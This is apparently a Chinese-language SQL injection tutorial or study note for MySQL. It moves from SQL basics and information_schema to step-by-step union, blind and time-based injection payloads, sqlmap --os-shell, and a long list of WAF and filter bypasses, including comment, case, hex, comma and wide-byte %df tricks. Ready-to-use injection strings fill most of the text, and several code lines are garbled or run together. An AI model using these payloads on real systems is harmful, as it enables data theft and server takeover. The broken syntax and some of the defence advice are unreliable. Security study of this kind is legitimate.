sql注入介绍:

数据库简介:

数据库查询和设计语言,用于存取数据以及查询;常见数据库mysql;mongodb;grepsql

SQL语句:

1
select * from 【表名】
1
insert into user(id,username,password) values(xx,'xx','xx')
1
2
3
语法:
DELETE FROM 表名称 WHERE 列名称 = 值
DELETE * FROM 表名称
1
delete * from
1
2
3
4
内嵌注入:
/*!/*!*/
/* */ 在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行

1
2
having where;
区别对于不同的
1
order by 和 group by
1
2
3
4
三种注释:
/""/
--+
#
1
2
3
describe 
mysql -uroot -p

MySQL基础:

MySQL系统表:

1
2
3
4
5
6
7
8
9
10
information_schema	#数据库
-.Schemata #表名
-shcema_name #包含所有数据库名
-.Tables
-table_name #包含所有表名
-table_schema #指定当前数据库
-.Columns
-table_schema #指定数据库
-table_name #指定表
-column_name #包含所有列名

注入

注入原理

由于web应用程序对用户输入的数据合法性判断不严格,将恶意的sql命令注入到程序后台并在数据库中执行。

注入危害:

获取敏感信息;可以使用万能密码登录网站后台;执行系统命令;文件系统操作;注册表操作;

注入判断:

根据返回包的显示结果吧

分类

参数类型:

数字型

1
2
$sql="select name from users where id =1"
参数没有被引号包裹

字符型

1
2
$sql="select name from users where id='1'"
参数被'或是"包裹起来

搜索型

1
2
$sql="select * from users where name like '%tom%'
搜索项相对字符型多了一对%

数据库返回结果分类:

1.回显注入

2.盲注

3.报错注入

注入点位置分类:

1.get

2.post

3.header

4.cookie

…..等等

利用:

get显错注入流程

1
2
3
4
5
6
7
8
1.获取字段数 order by
2.获取显示位 union select 1,2,3....x
3.获取数据库信息 version()user()@@datadir
4.获取当前数据库 database()schema()
5.获取所有数据库
6.获取数据库表
7.获取所有字段
8.获取数据

盲注基本流程

1
2
3
4
5
6
7
8
9
10
01、获取当前数据库长度length
02、获取当前数据库名
03、获取当前数据库表总数count
04、获取当前数据库表的长度
05、获取当前数据库表名
06、获取当前数据库表的字段总数
07、获取当前数据库表的字段第N个长度
08、获取当前数据库表的字段第N个字段名
09、获取当前数据库表的字段内容长度
10、获取当前数据库表的字段内容

前置知识

逻辑运算符

1
2
3
4
5
6
7
8
9
10
逻辑运算符:and、or、!=
and:并且,前后两条语句必须全为真,才为真,否则为假。
1=1 and 2=2 真
1=1 and 1=2 假

or:或者,前后两条语句一条为真,就为真。

!= :不等于

在sql语言中,and优先级大于or

misc

1
2
3
4
5
6
7
8
9
10
--+     注释符
limit 0,1 从你表中的第一个数据开始,只读取一个
order by 排序,判断字段数量,也就是表的列数
union select 联合查询,连接前面语句,起着合并查询的作用
group_concat 合并多行数据到一行

version() 当前数据库版本
database() 当前数据库
@@datadir 数据库数据路径
@@version_compile_os 操作系统版本

字符截取

1
2
3
4
5
6
在sql里面直接执行,需要先use 【指定的数据库】;
# 截取结果中的值,从第一个字符开始,截取1个字符
select mid(database(),1,1)

# 截取结果中的值,从第一个字符开始,截取1个字符
select substr(database(),1,1)

计算字符的ASCII值

1
2
3
4
5
6
7
8
9
10
11
# 返回字符串第一个字符的 ASCII 值
select ascii('hello');
select ord('hello');
CyberChef:加密解密
# 将截取出来的字符,转换成ASCII码,以便于后面做运算
select ascii(substr(database(),1,1));
select ord(substr(database(),1,1));

# 结果为1或者0,也就是true or false
select ascii(substr(database(),1,1))>97;
select ord(substr(database(),1,1))>97;

长度

1
2
# 返回当前数据库长度
select length(database());

计算行数

1
2
# 返回查询结果行数
select count(username) from users;

left,right

1
2
3
4
5
# 返回当前数据库最左边的1个字符串
select left(database(),1);

# 返回当前数据库最右边的1个字符串
select right(database(),1);

concat( str1, str2…. str n )

1
2
3
4
用来连接两个字段
和它类似的是
concat(ch,str1,str2...strn)
将多个字符串用ch分隔并连接起来

group_concat()

1
使用group_concat()可以将多行数据合并成一行

实际过程之联合注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1.判断注入点
#这里的'实际上是用来闭合的,如果是数字型那可能就没有,也可能是)啊什么的;字符型的话就可能是' ') " ") ")),爱,按实际情况来就好;
id=1' and 1=1 --+
页面未返回内容
id=1' and 1=2 --+
2获取当前数据长度
id=1' and length(database())=8--+
3获取当前数据库
id=1' and left((database()),1)='s'--+
获取第一位,第二位....第八位
4获取当前数据库总表数
id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+
5获取数据表的长度
# 第一个数据库表长度
id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6--+

# 第二个数据库表长度
id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8--+
6获取当前数据库下的表名
id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'--+

实际过程之报错注入

实际过程之盲注入

1
2
3
4
5
6
7
1.判断注入点
id=1' and 1=1 --+
id=1' and 1=2 --+
2.获取当前数据库长度(8)
id=1' and length(database())=8--+
3.获取当前数据库名字(security)
id=1' and left((database()),1)='s'--+

SQLMAP —os-shell原理

必要条件:1.拥有写入权限;2.secure_file_priv参数为空或者为指定路径

普通注入—os-shell主要是通过上传一个sqlmap的马,然后通过马来进行命令执行

SQLMAP检测注入

1
python sqlmap.py --os-shell

绕过空格(注释符/ /,%a0):

两个空格代替一个空格,用Tab代替空格,%a0=空格:

1
%20%09%0a %0b %0c %0d %a0/**/

最基本的绕过方法,用注释替换空格:

/注释/

括号绕过空格:

如果空格被过滤,括号没有被过滤,可以用括号绕过。

在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

例如:

1
select(user())fromdualwhere(1=1)and(2=2)

这种过滤方法常常用于time based盲注,例如:

1
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

(from for属于逗号绕过下面会有)

上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。

引号绕过(使用十六进制):

会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:

1
selectcolumn_namefrominformation_schema.tableswheretable_name="users"

这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。

users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

1
selectcolumn_namefrominformation_schema.tableswheretable_name=0x7573657273

逗号绕过(limit使用from或者offset)(substr使用from for属于逗号):

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

1
select substr(database(0from1for1);select mid(database(0from1for1);

对于limit可以使用offset来绕过:

1
2
select*fromnews limit0,1	# 等价于下面这条SQL语句
select*fromnews limit1offset0

比较符号(<>)绕过(使用greatest()):

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。

最常见的一个盲注的sql语句:

1
select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。

那么上面的这条sql语句可以使用greatest变为如下的子句:

1
select*fromuserswhereid=1and greatest(ascii(substr(database(),0,1)),64)=64

or and 绕过:

1
and=&& or=||

绕过注释符号(#,—)过滤:

1
id=1'union select 1,2,3||'1

最后的or ‘1闭合查询语句的最后的单引号,或者:

1
id=1'union select 1,2,'3

=绕过:

1
使用like 或者 使用< 或者 >

绕过union,select,where等:

(1)使用注释符绕过:

1
2
3
4
常用注释符:
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
U/**/NION/**/SE/**/LECT/**/user,pwd from user

(2)使用大小写绕过:

1
id=-1'UnIoN/**/SeLeCT

(3)内联注释绕过:

1
id=-1'/*!UnIoN*/SeLeCT1,2,concat(/*!table_name*/) FrOM/*information_schema*/.tables/*!WHERE*//*!TaBlE_ScHeMa*/like database()#

(4) 双关键字绕过:

1
id=-1'UNIunionONSeLselectECT1,2,3–-

通用绕过(编码):

1
2
如URLEncode编码,ASCII,HEX,unicode编码绕过:
or1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

等价函数绕过:

1
2
3
4
5
6
7
8
9
10
11
hex()、bin()==>ascii()

sleep()==>benchmark()

concat_ws()==>group_concat()

mid()、substr()==>substring() @@user==>user() @@datadir==>datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74或者:

substr((select'password'),1,1)=0x70strcmp(left('password',1),0x69)=1strcmp(left('password',1),0x70)=0strcmp(left('password',1),0x71)=-1

宽字节注入:

过滤 ‘ 的时候往往利用的思路是将 ‘ 转换为/ \’ 。

在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:

(1)%df 吃掉 \ 具体的方法是 urlencode(‘) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:

1
id=-1%df%27union select 1,user(),3--+

(2)将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。

一般产生宽字节注入的PHP函数:

1
2
3
4
5
6
7
8
9
10
11
1.replace():过滤 ' \ ,将 ' 转化为 \' ,将 \  转为 \\,将 " 转为 \" 。用思路一。

2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一

(防御此漏洞,要将 mysql_query 设置为 binary 的方式)

3.mysql_real_escape_string():转义下列字符:

\x00 \n \r \'" \x1a

(防御,将mysql设置为gbk即可)